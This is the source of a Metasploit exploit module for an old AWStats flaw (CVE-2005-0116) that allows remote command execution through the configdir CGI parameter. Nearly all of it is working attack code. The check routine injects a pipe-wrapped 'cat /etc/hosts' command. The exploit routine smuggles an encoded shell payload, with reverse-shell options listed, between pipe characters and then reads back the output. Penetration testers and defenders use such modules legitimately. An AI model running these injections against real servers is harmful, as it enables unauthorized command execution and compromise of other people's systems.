Path: blob/master/modules/exploits/unix/webapp/awstats_configdir_exec.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AWStats configdir Remote Command Execution',15'Description' => %q{16This module exploits an arbitrary command execution vulnerability in the17AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.218are vulnerable.19},20'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23['CVE', '2005-0116'],24['OSVDB', '13002'],25['BID', '12298'],26['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],27],28'Privileged' => false,29'Payload' => {30'DisableNops' => true,31'Space' => 512,32'Compat' =>33{34'PayloadType' => 'cmd cmd_bash',35'RequiredCmd' => 'generic perl ruby python telnet bash-tcp',36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [[ 'Automatic', {}]],41'DisclosureDate' => '2005-01-15',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),54]55)56end5758def check59res = send_request_cgi({60'uri' => normalize_uri(datastore['URI']),61'vars_get' =>62{63'configdir' => '|echo;cat /etc/hosts;echo|'64}65}, 25)6667if (res and res.body.match(/localhost/))68return Exploit::CheckCode::Vulnerable69end7071return Exploit::CheckCode::Safe72end7374def exploit75command = Rex::Text.uri_encode(payload.encoded)76urlconfigdir = normalize_uri(datastore['URI']) + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"7778res = send_request_raw({79'uri' => urlconfigdir,80'method' => 'GET',81'headers' =>82{83'Connection' => 'Close',84}85}, 25)8687if (res)88print_status("The server returned: #{res.code} #{res.message}")8990m = res.body.match(/YYY\n(.*)\nYYY/m)9192if (m)93print_status("Command output from the server:")94print("\n" + m[1] + "\n\n")95else96print_status("This server may not be vulnerable")97end98else99print_status("No response from the server")100end101end102end103104105